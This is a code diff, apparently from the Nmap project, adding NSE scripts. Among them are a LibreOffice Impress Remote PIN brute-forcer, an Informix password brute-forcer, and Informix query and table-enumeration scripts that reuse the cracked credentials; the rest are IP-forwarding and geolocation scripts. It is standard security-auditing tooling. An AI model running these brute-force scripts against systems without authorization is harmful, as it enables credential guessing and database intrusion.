+ if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then
+ output.DNS_Tree_Name = ntlm_decoded.dns_forest_name
+ end
+
+ if ntlm_decoded.os_major_version then
+ output.Product_Version = string.format("%d.%d.%d",
+ ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)
+ end
+
+ return output
+
+end
diff --git a/scripts/impress-remote-discover.nse b/scripts/impress-remote-discover.nse
new file mode 100644
index 0000000..29c0de8
--- /dev/null
+++ b/scripts/impress-remote-discover.nse
@@ -0,0 +1,213 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Tests for the presence of the LibreOffice Impress Remote server.
+Checks if a PIN is valid if provided and will bruteforce the PIN
+if requested.
+
+When a remote first contacts Impress and sends a client name and PIN, the user
+must open the "Slide Show -> Impress Remote" menu and enter the matching PIN at
+the prompt, which shows the client name. Subsequent connections with the same
+client name may then use the same PIN without user interaction. If no PIN has
+been set for the session, each PIN attempt will result in a new prompt in the
+"Impress Remote" menu. Brute-forcing the PIN, therefore, requires that the user
+has entered a PIN for the same client name, and will result in lots of extra
+prompts in the "Impress Remote" menu.
+]]
+
+---
+-- @usage nmap -p 1599 --script impress-remote-discover <host>
+--
+-- @output
+-- PORT STATE SERVICE Version
+-- 1599/tcp open impress-remote LibreOffice Impress remote 4.3.3.2
+-- | impress-remote-discover:
+-- | Impress Version: 4.3.3.2
+-- | Remote PIN: 0000
+-- |_ Client Name used: Firefox OS
+--
+-- @args impress-remote-discover.bruteforce No value needed (default is
+-- <code>false</code>).
+--
+-- @args impress-remote-discover.client String value of the client name
+-- (default is <code>Firefox OS</code>).
+--
+-- @args impress-remote-discover.pin PIN number for the remote (default is
+-- <code>0000</code>).
+
+author = "Jer Hiebert"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(1599, "impress-remote", "tcp")
+
+local function parse_args()
+ local args = {}
+
+ local client_name = stdnse.get_script_args(SCRIPT_NAME .. ".client")
+ if client_name then
+ stdnse.debug("Client name provided: %s", client_name)
+ -- Sanity check the value from the user.
+ if type(client_name) ~= "string" then
+ return false, "Client argument must be a string."
+ end
+ end
+ args.client_name = client_name or "Firefox OS"
+
+ local bruteforce = stdnse.get_script_args(SCRIPT_NAME .. ".bruteforce")
+ if bruteforce and bruteforce ~= "false" then
+ -- accept any value but false.
+ bruteforce = true
+ else
+ bruteforce = false
+ end
+ args.bruteforce = bruteforce or false
+
+ local pin = stdnse.get_script_args(SCRIPT_NAME .. ".pin")
+ if pin then
+ -- Sanity check the value from the user.
+ pin = tonumber(pin)
+ if type(pin) ~= "number" then
+ return false, "PIN argument must be a number."
+ elseif pin < 0 or pin > 9999 then
+ return false, "PIN argument must be in range between 0000 and 9999 inclusive."
+ elseif bruteforce then
+ return false, "When bruteforcing is enabled, a PIN cannot be set."
+ end
+ end
+ args.pin = pin or 0
+
+ return true, args
+end
+
+local remote_connect = function(host, port, client_name, pin)
+ local socket = nmap.new_socket()
+ local status, err = socket:connect(host, port)
+ if not status then
+ stdnse.debug("Can't connect: %s", err)
+ return
+ end
+ socket:set_timeout(5000)
+
+ local buffer, err = stdnse.make_buffer(socket, "\n")
+ if err then
+ socket:close()
+ stdnse.debug1("Failed to create buffer from socket: %s", err)
+ return
+ end
+ socket:send("LO_SERVER_CLIENT_PAIR\n" .. client_name .. "\n" .. pin .. "\n\n")
+
+ return buffer, socket
+end
+
+-- Returns the Client Name, PIN, and Remote Server version if the PIN and Client Name are correct
+local remote_version = function(buffer, socket, client_name, pin)
+ local line, err
+ -- The line we are looking for is 4 down in the response
+ -- so we loop through lines until we get to that one
+ for j=0,3 do
+ line, err = buffer()
+ if not line then
+ socket:close()
+ stdnse.debug1("Failed to receive line from socket: %s", err)
+ return
+ end
+
+ if string.match(line, "^LO_SERVER_INFO$") then
+ line, err = buffer()
+ socket:close()
+ local output = stdnse.output_table()
+ output["Impress Version"] = line
+ output["Remote PIN"] = pin
+ output["Client Name used"] = client_name
+ return output
+ end
+ end
+
+ socket:close()
+ stdnse.debug1("Failed to parse version from socket.")
+ return
+end
+
+local check_pin = function(host, port, client_name, pin)
+ local buffer, socket = remote_connect(host, port, client_name, pin)
+ if not buffer then
+ return
+ end
+
+ local line, err = buffer()
+ if not line then
+ socket:close()
+ stdnse.debug1("Failed to receive line from socket: %s", err)
+ return
+ end
+
+ if string.match(line, "^LO_SERVER_SERVER_PAIRED$") then
+ return remote_version(buffer, socket, client_name, pin)
+ end
+
+ socket:close()
+ stdnse.debug1("Remote Server present but PIN and/or Client Name was not accepted.")
+ return
+end
+
+local bruteforce = function(host, port, client_name)
+ -- There are 10000 possible PINs which we loop through
+ for i=0,9999 do
+ -- Pad the pin with leading zeros if required
+ local pin = string.format("%04d", i)
+ if i % 100 == 0 then
+ stdnse.debug1("Bruteforce attempt %d with PIN %s...", i + 1, pin)
+ end
+
+ local buffer, socket = remote_connect(host, port, client_name, pin)
+ if not buffer then
+ return
+ end
+
+ local line, err = buffer()
+ if not line then
+ socket:close()
+ stdnse.debug1("Failed to receive line from socket: %s", err)
+ return
+ end
+
+ if string.match(line, "^LO_SERVER_SERVER_PAIRED$") then
+ return remote_version(buffer, socket, client_name, pin)
+ end
+
+ socket:close()
+ end
+
+ stdnse.debug1("Failed to bruteforce PIN.")
+ return
+end
+
+action = function(host, port)
+ -- Parse and sanity check the command line arguments.
+ local status, options = parse_args()
+ if not status then
+ stdnse.verbose1("ERROR: %s", options)
+ return stdnse.format_output(false, options)
+ end
+
+ local result
+ if options.bruteforce then
+ result = bruteforce(host, port, options.client_name)
+ else
+ result = check_pin(host, port, options.client_name, options.pin)
+ end
+
+ if result and result["Impress Version"] then
+ port.version.product = port.version.product or "LibreOffice Impress remote"
+ port.version.version = result["Impress Version"]
+ table.insert(port.version.cpe, ("cpe:/a:libreoffice:libreoffice:%s"):format(result["Impress Version"]))
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+
+ return result
+end
diff --git a/scripts/informix-brute.nse b/scripts/informix-brute.nse
new file mode 100644
index 0000000..59a99c4
--- /dev/null
+++ b/scripts/informix-brute.nse
@@ -0,0 +1,111 @@
+local brute = require "brute"
+local creds = require "creds"
+local informix = require "informix"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local table = require "table"
+
+description = [[
+Performs brute force password auditing against IBM Informix Dynamic Server.
+]]
+
+---
+-- @usage
+-- nmap --script informix-brute -p 9088 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 9088/tcp open unknown
+-- | informix-brute:
+-- | Accounts
+-- | ifxnoob:ifxnoob => Valid credentials
+-- | Statistics
+-- |_ Perfomed 25024 guesses in 75 seconds, average tps: 320
+--
+-- Summary
+-- -------
+-- x The Driver class contains the driver implementation used by the brute
+-- library
+--
+
+--
+-- Version 0.1
+-- Created 07/23/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
+
+Driver =
+{
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ --- Connects performs protocol negotiation
+ --
+ -- @return true on success, false on failure
+ connect = function( self )
+ local status, data
+ self.helper = informix.Helper:new( self.host, self.port, "on_nmap_dummy" )
+
+ status, data = self.helper:Connect(brute.new_socket())
+ if ( not(status) ) then
+ return status, data
+ end
+
+ return true
+ end,
+
+ --- Attempts to login to the Informix server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- creds.Account object on success
+ login = function( self, username, password )
+ local status, data = self.helper:Login( username, password, {} )
+
+ if ( status ) then
+ if ( not(nmap.registry['informix-brute']) ) then
+ nmap.registry['informix-brute'] = {}
+ end
+ table.insert( nmap.registry['informix-brute'], { ["username"] = username, ["password"] = password } )
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ -- Check for account locked message
+ elseif ( data:match("INFORMIXSERVER does not match either DBSERVERNAME or DBSERVERALIASES") ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+
+ return false, brute.Error:new( data )
+
+ end,
+
+ --- Disconnects and terminates the Informix communication
+ disconnect = function( self )
+ self.helper:Close()
+ end,
+
+}
+
+
+action = function(host, port)
+ local status, result
+ local engine = brute.Engine:new(Driver, host, port )
+ engine.options.script_name = SCRIPT_NAME
+
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/informix-query.nse b/scripts/informix-query.nse
new file mode 100644
index 0000000..a590490
--- /dev/null
+++ b/scripts/informix-query.nse
@@ -0,0 +1,94 @@
+local informix = require "informix"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Runs a query against IBM Informix Dynamic Server using the given
+authentication credentials (see also: informix-brute).
+]]
+
+---
+-- @usage
+-- nmap -p 9088 <host> --script informix-query --script-args informix-query.username=informix,informix-query.password=informix
+--
+-- @output
+-- PORT STATE SERVICE
+-- 9088/tcp open unknown syn-ack
+-- | informix-query:
+-- | Information
+-- | User: informix
+-- | Database: sysmaster
+-- | Query: "SELECT FIRST 1 DBINFO('dbhostname') hostname, DBINFO('version','full') version FROM systables"
+-- | Results
+-- | hostname version
+-- |_ patrik-laptop IBM Informix Dynamic Server Version 11.50.UC4E
+--
+-- @args informix-query.username The username used for authentication
+-- @args informix-query.password The password used for authentication
+-- @args informix-query.database The name of the database to connect to
+-- (default: sysmaster)
+-- @args informix-query.query The query to run against the server
+-- (default: returns hostname and version)
+-- @args informix-query.instance The name of the instance to connect to
+
+-- Version 0.1
+
+-- Created 07/28/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+dependencies = { "informix-brute" }
+
+
+portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
+
+action = function( host, port )
+ local instance = stdnse.get_script_args('informix-info.instance')
+ local helper
+ local status, data
+ local result = {}
+ local user = stdnse.get_script_args('informix-query.username')
+ local pass = stdnse.get_script_args('informix-query.password')
+ local query = stdnse.get_script_args('informix-query.query')
+ local db = stdnse.get_script_args('informix-query.database') or "sysmaster"
+
+ query = query or "SELECT FIRST 1 DBINFO('dbhostname') hostname, " ..
+ "DBINFO('version','full') version FROM systables"
+
+ helper = informix.Helper:new( host, port, instance )
+
+ -- If no user was specified lookup the first user in the registry saved by
+ -- the informix-brute script
+ if ( not(user) ) then
+ if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then
+ user = nmap.registry['informix-brute'][1]["username"]
+ pass = nmap.registry['informix-brute'][1]["password"]
+ else
+ return stdnse.format_output(false, "No credentials specified (see informix-table.username and informix-table.password)")
+ end
+ end
+
+ status, data = helper:Connect()
+ if ( not(status) ) then
+ return stdnse.format_output(status, data)
+ end
+
+ status, data = helper:Login(user, pass, nil, db)
+ if ( not(status) ) then return stdnse.format_output(status, data) end
+
+ status, data = helper:Query(query)
+ if ( not(status) ) then return stdnse.format_output(status, data) end
+
+ for _, rs in ipairs(data) do
+ table.insert( result, { "User: " .. user, "Database: " .. db, ( "Query: \"%s\"" ):format( rs.query ), name="Information" } )
+ local tmp = informix.Util.formatTable( rs )
+ tmp.name = "Results"
+ table.insert( result, tmp )
+ end
+
+
+ return stdnse.format_output(status, result)
+end
diff --git a/scripts/informix-tables.nse b/scripts/informix-tables.nse
new file mode 100644
index 0000000..f319900
--- /dev/null
+++ b/scripts/informix-tables.nse
@@ -0,0 +1,122 @@
+local informix = require "informix"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Retrieves a list of tables and column definitions for each database on an Informix server.
+]]
+
+---
+-- @usage
+-- nmap -p 9088 <host> --script informix-tables --script-args informix-tables.username=informix,informix-tables.password=informix
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 9088/tcp open unknown syn-ack
+-- | informix-tables:
+-- | Information
+-- | User: informix
+-- | Database: stores_demo
+-- | Results
+-- | table column rows
+-- | call_type call_code 5
+-- | call_type code_descr 5
+-- | catalog cat_advert 74
+-- | catalog cat_descr 74
+-- | catalog cat_picture 74
+-- | catalog catalog_num 74
+-- | catalog manu_code 74
+-- | catalog stock_num 74
+-- | classes class 4
+-- | classes classid 4
+-- | classes subject 4
+-- | cust_calls call_code 7
+-- | cust_calls call_descr 7
+-- | cust_calls call_dtime 7
+-- | cust_calls customer_num 7
+-- | cust_calls res_descr 7
+-- | cust_calls res_dtime 7
+-- | cust_calls user_id 7
+-- | warehouses warehouse_id 4
+-- | warehouses warehouse_name 4
+-- |_ warehouses warehouse_spec 4
+--
+-- @args informix-tables.username The username used for authentication
+-- @args informix-tables.password The password used for authentication
+--
+-- Version 0.1
+-- Created 27/07/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+dependencies = { "informix-brute" }
+
+
+portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function( host, port )
+ local helper
+ local status, data
+ local result, output = {}, {}
+ local user = stdnse.get_script_args(SCRIPT_NAME .. '.username')
+ local pass = stdnse.get_script_args(SCRIPT_NAME .. '.password') or ""
+ local query= [[
+ SELECT cast(tabname as char(20)) table, cast(colname as char(20)) column, cast( cast(nrows as int) as char(20)) rows
+ FROM "informix".systables st, "informix".syscolumns sc
+ WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T'
+ ORDER BY table, column]]
+ local excluded_dbs = { ["sysmaster"] = true, ["sysutils"] = true, ["sysuser"] = true, ["sysadmin"] = true }
+
+ -- If no user was specified lookup the first user in the registry saved by
+ -- the informix-brute script
+ if ( not(user) ) then
+ if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then
+ user = nmap.registry['informix-brute'][1]["username"]
+ pass = nmap.registry['informix-brute'][1]["password"]
+ else
+ return fail("No credentials specified (see informix-table.username and informix-table.password)")
+ end
+ end
+
+ helper = informix.Helper:new( host, port )
+
+ status, data = helper:Connect()
+ if ( not(status) ) then
+ return stdnse.format_output(status, data)
+ end
+
+ status, data = helper:Login(user, pass)
+ if ( not(status) ) then return stdnse.format_output(status, data) end
+
+ local databases
+ status, databases = helper:GetDatabases()
+ if ( not(status) ) then
+ return fail("Failed to retrieve a list of databases")
+ end
+
+ for _, db in ipairs(databases) do
+ if ( not( excluded_dbs[db] ) ) then
+ status, data = helper:OpenDatabase(db)
+ if ( not(status) ) then return stdnse.format_output(status, data) end
+ status, data = helper:Query( query )
+ if ( not(status) ) then return stdnse.format_output(status, data) end
+
+ if ( status ) then
+ data = informix.Util.formatTable( data[1] )
+ data.name = "Results"
+ table.insert( result, { "User: " .. user, "Database: " .. db, name="Information" } )
+ table.insert(result, data )
+ end
+ break
+ end
+ end
+
+ helper:Close()
+
+ return stdnse.format_output( true, result )
+end
diff --git a/scripts/ip-forwarding.nse b/scripts/ip-forwarding.nse
new file mode 100644
index 0000000..9556380
--- /dev/null
+++ b/scripts/ip-forwarding.nse
@@ -0,0 +1,104 @@
+local dns = require "dns"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local ipOps = require "ipOps"
+
+description = [[
+Detects whether the remote device has ip forwarding or "Internet connection
+sharing" enabled, by sending an ICMP echo request to a given target using
+the scanned host as default gateway.
+
+The given target can be a routed or a LAN host and needs to be able to respond
+to ICMP requests (ping) in order for the test to be successful. In addition,
+if the given target is a routed host, the scanned host needs to have the proper
+routing to reach it.
+
+In order to use the scanned host as default gateway Nmap needs to discover
+the MAC address. This requires Nmap to be run in privileged mode and the host
+to be on the LAN.
+]]
+
+---
+-- @usage
+-- sudo nmap -sn <target> --script ip-forwarding --script-args='target=www.example.com'
+--
+-- @output
+-- | ip-forwarding:
+-- |_ The host has ip forwarding enabled, tried ping against (www.example.com)
+--
+-- @args ip-forwarding.target a LAN or routed target responding to ICMP echo
+-- requests (ping).
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+local arg_target = stdnse.get_script_args(SCRIPT_NAME .. ".target")
+
+hostrule = function(host)
+ if ( not(host.mac_addr) ) then
+ stdnse.debug1("Failed to determine hosts remote MAC address" )
+ end
+ return (arg_target ~= nil and host.mac_addr ~= nil)
+end
+
+
+icmpEchoRequest = function(ifname, host, addr)
+ local iface = nmap.get_interface_info(ifname)
+ local dnet, pcap = nmap.new_dnet(), nmap.new_socket()
+
+ pcap:set_timeout(5000)
+ pcap:pcap_open(iface.device, 128, false, ("ether src %s and icmp and ( icmp[0] = 0 or icmp[0] = 5 ) and dst %s"):format(stdnse.format_mac(host.mac_addr), iface.address))
+ dnet:ethernet_open(iface.device)
+
+ local probe = packet.Frame:new()
+ probe.mac_src = iface.mac
+ probe.mac_dst = host.mac_addr
+ probe.ip_bin_src = ipOps.ip_to_str(iface.address)
+ probe.ip_bin_dst = ipOps.ip_to_str(addr)
+ probe.echo_id = 0x1234
+ probe.echo_seq = 6
+ probe.echo_data = "Nmap host discovery."
+ probe:build_icmp_echo_request()
+ probe:build_icmp_header()
+ probe:build_ip_packet()
+ probe:build_ether_frame()
+
+ dnet:ethernet_send(probe.frame_buf)
+ local status = pcap:pcap_receive()
+ dnet:ethernet_close()
+ return status
+end
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host)
+
+ local ifname = nmap.get_interface() or host.interface
+ if ( not(ifname) ) then
+ return fail("Failed to determine the network interface name")
+ end
+
+ local target = ipOps.ip_to_bin(arg_target)
+ if ( not(target) ) then
+ local status
+ status, target = dns.query(arg_target, { dtype='A' })
+ if ( not(status) ) then
+ return fail(("Failed to lookup hostname: %s"):format(arg_target))
+ end
+ else
+ target = arg_target
+ end
+
+ if ( target == host.ip ) then
+ return fail("Target can not be the same as the scanned host")
+ end
+
+ if (icmpEchoRequest(ifname, host, target)) then
+ return ("\n The host has ip forwarding enabled, tried ping against (%s)"):format(arg_target)
+ end
+
+end
+
diff --git a/scripts/ip-geolocation-geoplugin.nse b/scripts/ip-geolocation-geoplugin.nse
new file mode 100644
index 0000000..b04cad8
--- /dev/null
+++ b/scripts/ip-geolocation-geoplugin.nse
@@ -0,0 +1,72 @@
+local geoip = require "geoip"
+local http = require "http"
+local ipOps = require "ipOps"
+local json = require "json"
+local stdnse = require "stdnse"
+local table = require "table"
+local oops = require "oops"
+
+description = [[
+Tries to identify the physical location of an IP address using the
+Geoplugin geolocation web service (http://www.geoplugin.com/). There
+is no limit on lookups using this service.
+]]
+
+---
+-- @usage
+-- nmap --script ip-geolocation-geoplugin <target>
+--
+-- @output
+-- | ip-geolocation-geoplugin:
+-- | coordinates: 39.4208984375, -74.497703552246
+-- |_location: New Jersey, United States
+-- @xmloutput
+-- <elem key="latitude">37.5605</elem>
+-- <elem key="longitude">-121.9999</elem>
+-- <elem key="region">California</elem>
+-- <elem key="country">United States</elem>
+--
+-- @see ip-geolocation-ipinfodb.nse
+-- @see ip-geolocation-map-bing.nse
+-- @see ip-geolocation-map-google.nse
+-- @see ip-geolocation-map-kml.nse
+-- @see ip-geolocation-maxmind.nse
+
+author = "Gorjan Petrovski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","external","safe"}
+
+
+hostrule = function(host)
+ local is_private, err = ipOps.isPrivate( host.ip )
+ if is_private == nil then
+ stdnse.debug1("Error in Hostrule: %s.", err )
+ return false
+ end
+ return not is_private
+end
+
+-- No limit on requests
+local geoplugin = function(ip)
+ local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip, {any_af=true})
+ local stat, loc = oops.raise(
+ "The geoPlugin service has likely blocked you due to excessive usage",
+ json.parse(response.body))
+ if not stat then
+ return stat, loc
+ end
+
+ local output = geoip.Location:new()
+ output:set_latitude(loc.geoplugin_latitude)
+ output:set_longitude(loc.geoplugin_longitude)
+ output:set_region((loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName)
+ output:set_country(loc.geoplugin_countryName)
+
+ geoip.add(ip, loc.geoplugin_latitude, loc.geoplugin_longitude)
+
+ return true, output
+end
+
+action = function(host,port)
+ return oops.output(geoplugin(host.ip))
+end
diff --git a/scripts/ip-geolocation-ipinfodb.nse b/scripts/ip-geolocation-ipinfodb.nse
new file mode 100644
index 0000000..f1fbdb6
--- /dev/null
+++ b/scripts/ip-geolocation-ipinfodb.nse
@@ -0,0 +1,96 @@
+local geoip = require "geoip"
+local http = require "http"
+local ipOps = require "ipOps"
+local json = require "json"
+local oops = require "oops"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Tries to identify the physical location of an IP address using the
+IPInfoDB geolocation web service
+(http://ipinfodb.com/ip_location_api.php).
+
+There is no limit on requests to this service. However, the API key
+needs to be obtained through free registration for this service:
+<code>http://ipinfodb.com/login.php</code>
+]]
+
+---
+-- @usage
+-- nmap --script ip-geolocation-ipinfodb <target> --script-args ip-geolocation-ipinfodb.apikey=<API_key>
+--
+-- @args ip-geolocation-ipinfodb.apikey A sting specifying the api-key which
+-- the user wants to use to access this service
+--
+-- @output
+-- | ip-geolocation-ipinfodb:
+-- | coordinates: 37.5384, -121.99
+-- |_location: FREMONT, CALIFORNIA, UNITED STATES
+--
+-- @xmloutput
+-- <elem key="latitude">37.5384</elem>
+-- <elem key="longitude">-121.99</elem>
+-- <elem key="city">FREMONT</elem>
+-- <elem key="region">CALIFORNIA</elem>
+-- <elem key="country">UNITED STATES</elem>
+--
+-- @see ip-geolocation-geoplugin.nse
+-- @see ip-geolocation-map-bing.nse
+-- @see ip-geolocation-map-google.nse
+-- @see ip-geolocation-map-kml.nse
+-- @see ip-geolocation-maxmind.nse
+
+author = "Gorjan Petrovski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","external","safe"}
+
+
+hostrule = function(host)
+ local is_private, err = ipOps.isPrivate( host.ip )
+ if is_private == nil then
+ stdnse.debug1("not running: Error in Hostrule: %s.", err )
+ return false
+ elseif is_private then
+ stdnse.debug1("not running: Private IP address of target: %s", host.ip)
+ return false
+ end
+
+ local api_key = stdnse.get_script_args(SCRIPT_NAME..".apikey")
+ if not (type(api_key)=="string") then
+ stdnse.debug1("not running: No IPInfoDB API key specified.")
+ return false
+ end
+
+ return true
+end
+
+-- No limit on requests. A free registration for an API key is a prerequisite
+local ipinfodb = function(ip)
+ local api_key = stdnse.get_script_args(SCRIPT_NAME..".apikey")
+ local response = http.get("api.ipinfodb.com", 80, "/v3/ip-city/?key="..api_key.."&format=json".."&ip="..ip, {any_af=true})
+ local stat, loc = oops.raise(
+ "Unable to parse ipinfodb.com response",
+ json.parse(response.body))
+ if not stat then
+ return stat, loc
+ end
+ if loc.statusMessage and loc.statusMessage == "Invalid API key." then
+ return false, oops.err(loc.statusMessage)
+ end
+
+ local output = geoip.Location:new()
+ output:set_latitude(loc.latitude)
+ output:set_longitude(loc.longitude)
+ output:set_city(loc.cityName)
+ output:set_region(loc.regionName)
+ output:set_country(loc.countryName)
+
+ geoip.add(ip, loc.latitude, loc.longitude)
+
+ return true, output
+end
+
+action = function(host,port)
+ return oops.output(ipinfodb(host.ip))
+end
diff --git a/scripts/ip-geolocation-map-bing.nse b/scripts/ip-geolocation-map-bing.nse
new file mode 100644
index 0000000..5e704a4
--- /dev/null
+++ b/scripts/ip-geolocation-map-bing.nse
@@ -0,0 +1,191 @@
+local http = require "http"
+local geoip = require "geoip"
+local io = require "io"
+local oops = require "oops"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+
+description = [[
+This script queries the Nmap registry for the GPS coordinates of targets stored
+by previous geolocation scripts and renders a Bing Map of markers representing
+the targets.
+
+The Bing Maps REST API has a limit of 100 markers, so if more coordinates are
+found, only the top 100 markers by number of IPs will be shown.
+
+Additional information for the Bing Maps REST Services API can be found at:
+- https://msdn.microsoft.com/en-us/library/ff701724.aspx
+]]
+
+---
+-- @usage
+-- nmap -sn -Pn --script ip-geolocation-geoplugin,ip-geolocation-map-bing --script-args ip-geolocation-map-bing.api_key=[redacted],ip-geolocation-map-bing.map_path=map.png <target>
+--
+-- @output
+-- | ip-geolocation-map-bing:
+-- |_ The map has been saved at 'map.png'.
+--
+-- @args ip-geolocation-map-bing.api_key The required Bing Maps API key for your
+-- account. An API key can be generated at https://www.bingmapsportal.com/
+--
+-- @args ip-geolocation-map-bing.center GPS coordinates defining the center of the
+-- image. If omitted, Bing Maps will choose a center that shows all the
+-- markers.
+--
+-- @args ip-geolocation-map-bing.format The default value is 'jpeg', 'png', and
+-- 'gif' are also allowed.
+--
+-- @args ip-geolocation-map-bing.language The default value is 'en', but other
+-- two-letter language codes are accepted.
+--
+-- @args ip-geolocation-map-bing.layer The default value is 'Road',
+-- 'Aerial', and 'AerialWithLabels' are also allowed.
+--
+-- @args ip-geolocation-map-bing.map_path The path at which the rendered
+-- Bing Map will be saved to the local filesystem.
+--
+-- @args ip-geolocation-map-bing.marker_style This argument can apply styling
+-- to the markers.
+-- https://msdn.microsoft.com/en-us/library/ff701719.aspx
+--
+-- @args ip-geolocation-map-bing.size The default value is '640x640' pixels, but
+-- can be changed so long as the width is between 80 and 2000 pixels and the
+-- height is between 80 and 1500 pixels.
+--
+-- @see ip-geolocation-geoplugin.nse
+-- @see ip-geolocation-ipinfodb.nse
+-- @see ip-geolocation-map-google.nse
+-- @see ip-geolocation-map-kml.nse
+-- @see ip-geolocation-maxmind.nse
+
+author = "Mak Kolybabi <mak@kolybabi.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"external", "safe"}
+
+local render = function(params, options)
+ -- Format marker style for inclusion in parameters.
+ local style = ""
+ if options["marker_style"] then
+ style = ";" .. options["marker_style"]
+ end
+
+ -- Add in a marker for each host.
+ local markers = {}
+ for coords, ip in pairs(geoip.get_all_by_gps()) do
+ table.insert(markers, {#ip, "pp=" .. coords .. style})
+ end
+ if #markers > 100 then
+ -- API is limited to 100 markers
+ stdnse.verbose1("Bing Maps API limits render to 100 markers. Some results not mapped.")
+ -- sort by number of IPs so we map the biggest groups
+ table.sort(markers, function (a, b) return a[1] < b[1] end)
+ end
+ local out_markers = {}
+ for i=1, #markers do
+ if i > 100 then break end
+ out_markers[#out_markers+1] = markers[i][2]
+ end
+ local body = table.concat(out_markers, "&")
+
+ -- Format the parameters into a properly encoded URL.
+ local query = "/REST/v1/Imagery/Map/" .. options["layer"] .. "?" .. url.build_query(params)
+ stdnse.debug1("The query URL is: %s", query)
+ stdnse.debug1("The query body is: %s", body)
+
+ local headers = {
+ ["header"] = {
+ ["Content-Type"] = "text/plain; charset=utf-8"
+ }
+ }
+
+ local res = http.post("dev.virtualearth.net", 80, query, headers, nil, body)
+ if not res or res.status ~= 200 then
+ stdnse.debug1("Error %d from API: %s", res.status, res.body)
+ return false, ("Failed to receive map using query '%s'."):format(query)
+ end
+
+ local f = io.open(options["map_path"], "w")
+ if not f then
+ return false, ("Failed to open file '%s'."):format(options["map_path"])
+ end
+
+ if not f:write(res.body) then
+ return false, ("Failed to write file '%s'."):format(options["map_path"])
+ end
+
+ f:close()
+
+ local msg
+
+ return true, ("The map has been saved at '%s'."):format(options["map_path"])
+end
+
+local parse_args = function()
+ local options = {}
+ local params = {}
+
+ local api_key = stdnse.get_script_args(SCRIPT_NAME .. '.api_key')
+ if not api_key then
+ return false, "Need to specify an API key, get one at https://www.bingmapsportal.com/."
+ end
+ params["key"] = api_key
+
+ local center = stdnse.get_script_args(SCRIPT_NAME .. ".center")
+ if center then
+ params["centerPoint"] = center
+ end
+
+ local format = stdnse.get_script_args(SCRIPT_NAME .. ".format")
+ if format then
+ params["format"] = format
+ end
+
+ local language = stdnse.get_script_args(SCRIPT_NAME .. ".language")
+ if language then
+ params["language"] = language
+ end
+
+ local layer = stdnse.get_script_args(SCRIPT_NAME .. ".layer")
+ if not layer then
+ layer = "Road"
+ end
+ options["layer"] = layer
+
+ local map_path = stdnse.get_script_args(SCRIPT_NAME .. '.map_path')
+ if map_path then
+ options["map_path"] = map_path
+ else
+ return false, "Need to specify a path for the map."
+ end
+
+ local size = stdnse.get_script_args(SCRIPT_NAME .. ".size")
+ if not size then
+ -- This size is arbitrary, and is chosen to match the default that Google
+ -- Maps will produce.
+ size = "640x640"
+ end
+ size = string.gsub(size, "x", ",")
+ params["mapSize"] = size
+
+ return true, params, options
+end
+
+postrule = function()
+ -- Only run if a previous script has registered geolocation data.
+ return not geoip.empty()
+end
+
+action = function()
+ -- Parse and sanity check the command line arguments.
+ local status, params, options = oops.raise(
+ "Script argument problem",
+ parse_args())
+ if not status then
+ return params
+ end
+
+ -- Render the map.
+ return oops.output(render(params, options))
+end
diff --git a/scripts/ip-geolocation-map-google.nse b/scripts/ip-geolocation-map-google.nse
new file mode 100644
index 0000000..807c8ea
--- /dev/null
+++ b/scripts/ip-geolocation-map-google.nse
@@ -0,0 +1,181 @@
+local http = require "http"
+local geoip = require "geoip"
+local io = require "io"
+local oops = require "oops"
+local stdnse = require "stdnse"
